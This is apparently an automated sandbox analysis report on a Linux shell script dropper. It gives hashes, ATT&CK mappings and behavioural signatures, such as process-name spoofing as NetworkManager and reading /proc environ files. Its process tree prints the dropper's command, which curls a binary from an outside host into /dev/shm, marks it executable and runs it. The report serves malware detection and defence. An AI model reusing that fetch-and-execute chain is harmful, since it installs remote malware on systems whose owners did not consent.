Analysis
- max time kernel
149s - max time network
150s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
08/09/2026, 12:30
Static task
static1
Behavioral task
behavioral1
Sample
run.sh
Resource
ubuntu1804-amd64-20260513-en
ubuntu-18.04-amd64
7 signatures
150 seconds
Behavioral task
behavioral2
Sample
run.sh
Resource
debian9-armhf-20260513-en
debian-9-armhf
8 signatures
150 seconds
Behavioral task
behavioral3
Sample
run.sh
Resource
debian9-mipsbe-20260513-en
debian-9-mips
7 signatures
150 seconds
Behavioral task
behavioral4
Sample
run.sh
Resource
debian9-mipsel-20260513-en
debian-9-mipsel
5 signatures
150 seconds
General
- Target run.sh
- Size 1KB
- Sample260908-ppq9nsff33
- SHA256 b0b6efad5e373b5450697060b39af80ca6c51d7e310bffa3bd85d4809a36e8a8
- MD5 5594178ee4e2d1b5d83607aecf713d36
- SHA1 2e0b381400799c80f1d4ac1057d9d713a8482141
- SHA512 d2ac0b36f465a503527b3355bd3ac4742e658f0f4ef16436b24bd395f3a520aee4a3fe3ef0b8ccd8dbfdd596831c62321e6fed980a5b07c452eeed53c14cf171
- TLSH T115217BE5FA708D63F2CF502CAC5A14018BCF4D2B57281E56748F6818B77CE2AB45A731
- MD5 SHA1 SHA512 TLSH
Score
7/10
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 669 chmod - Executes dropped EXE 1 IoCs
ioc pid Process /dev/shm/.armv7l_638 671 setsid - Enumerates running processes
Discovers information about currently running processes on the system
- Changes its process name 1 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself /usr/sbin/NetworkManager 673 .armv7l_638 - Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl - Enumerates kernel/hardware configuration 1 TTPs 3 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/kernel/mm/transparent_hugepage/hpage_pmd_size .armv7l_638 File opened for reading /sys/fs/cgroup/cpu,cpuacct/system.slice/cpu.cfs_quota_us .armv7l_638 File opened for reading /sys/fs/cgroup/cpu,cpuacct/system.slice/cpu.cfs_period_us .armv7l_638 -
description ioc Process File opened for reading /proc/self/auxv .armv7l_638 File opened for reading /proc/10/environ .armv7l_638 File opened for reading /proc/13/stat .armv7l_638 File opened for reading /proc/24/stat .armv7l_638 File opened for reading /proc/41/stat .armv7l_638 File opened for reading /proc/8/stat .armv7l_638 File opened for reading /proc/27/environ .armv7l_638 File opened for reading /proc/21/environ .armv7l_638 File opened for reading /proc/22/environ .armv7l_638 File opened for reading /proc/22/stat .armv7l_638 File opened for reading /proc/24/environ .armv7l_638 File opened for reading /proc/14/environ .armv7l_638 File opened for reading /proc/14/stat .armv7l_638 File opened for reading /proc/181/stat .armv7l_638 File opened for reading /proc/25/stat .armv7l_638 File opened for reading /proc/15/environ .armv7l_638 File opened for reading /proc/11/environ .armv7l_638 File opened for reading /proc/144/stat .armv7l_638 File opened for reading /proc/17/environ .armv7l_638 File opened for reading /proc/19/environ .armv7l_638 File opened for reading /proc/5/environ .armv7l_638 File opened for reading /proc/634/stat .armv7l_638 File opened for reading /proc/13/environ .armv7l_638 File opened for reading /proc/16/environ .armv7l_638 File opened for reading /proc/42/stat .armv7l_638 File opened for reading /proc/6/environ .armv7l_638 File opened for reading /proc/99/environ .armv7l_638 File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/18/stat .armv7l_638 File opened for reading /proc/181/environ .armv7l_638 File opened for reading /proc/635/stat .armv7l_638 File opened for reading /proc/636/stat .armv7l_638 File opened for reading /proc/7/stat .armv7l_638 File opened for reading /proc/107/stat .armv7l_638 File opened for reading /proc/2/environ .armv7l_638 File opened for reading /proc/23/stat .armv7l_638 File opened for reading /proc/3/environ .armv7l_638 File opened for reading /proc/43/stat .armv7l_638 File opened for reading /proc/78/environ .armv7l_638 File opened for reading /proc/99/stat .armv7l_638 File opened for reading /proc/766/stat .armv7l_638 File opened for reading /proc/145/stat .armv7l_638 File opened for reading /proc/self/auxv curl File opened for reading /proc/107/environ .armv7l_638 File opened for reading /proc/160/environ .armv7l_638 File opened for reading /proc/23/environ .armv7l_638 File opened for reading /proc/4/stat .armv7l_638 File opened for reading /proc/6/stat .armv7l_638 File opened for reading /proc/729/environ .armv7l_638 File opened for reading /proc/self/cgroup .armv7l_638 File opened for reading /proc/20/stat .armv7l_638 File opened for reading /proc/28/environ .armv7l_638 File opened for reading /proc/5/stat .armv7l_638 File opened for reading /proc/778/stat .armv7l_638 File opened for reading /proc/18/environ .armv7l_638 File opened for reading /proc/43/environ .armv7l_638 File opened for reading /proc/7/environ .armv7l_638 File opened for reading /proc/9/environ .armv7l_638 File opened for reading /proc/109/environ .armv7l_638 File opened for reading /proc/110/stat .armv7l_638 File opened for reading /proc/144/environ .armv7l_638 File opened for reading /proc/145/environ .armv7l_638 File opened for reading /proc/16/stat .armv7l_638 File opened for reading /proc/27/stat .armv7l_638 - Writes file to shm directory 1 IoCs
Malware can drop malicious files in the shm directory which will run directly from RAM.
description ioc Process File opened for modification /dev/shm/.armv7l_638 curl
Processes
-
/tmp/run.sh/tmp/run.sh1⤵PID:638
-
/usr/bin/trtr A-Z a-z2⤵PID:642
-
-
/bin/unameuname -m2⤵PID:641
-
-
/usr/bin/curlcurl -fsSL http://pingu.ltd/armv7l -o .armv7l_6382⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to shm directory
PID:645
-
-
/bin/chmodchmod +x .armv7l_6382⤵
- File and Directory Permissions Modification
PID:669
-
-
/usr/bin/setsidsetsid ./.armv7l_6381⤵
- Executes dropped EXE
PID:671
-
/dev/shm/.armv7l_638./.armv7l_6381⤵
- Changes its process name
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:671
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /dev/shm/.armv7l_638
- Size 7.1MB
- SHA256 81722c7605e51e025796636e50b478daca07a7dbb6ccf3c07aad74ecc4522843
- MD5 434808a5f8e449db03440bb6fe552ec2
- SHA1 fe37b555e15d64a4f3e9c2adae2c52e32324fb93
- SHA512 c825c0afe69d3ebf9a22c7340c8c27cac6cc43e569258cdb6cd302e778d001ab540e1cf8ba3057cdb3c48251e2b9257544685bec4c3973d81c13295efc7f6796
- SSDEEP 49152:UttQrG4tuDCDUwv5NlGnTE+Gg8QEgwZJuCl4CsBNk9n4a4S45Ez:UtWtuDA5NlGnTE+Gg8Q2sNk94zEz
- TLSH T1E1762997B9D24942C4E83A37BCBD81C432630EB98B87565B6D15FE383ABE5D90E35304
- MD5 SHA1 SHA512 SSDEEP TLSH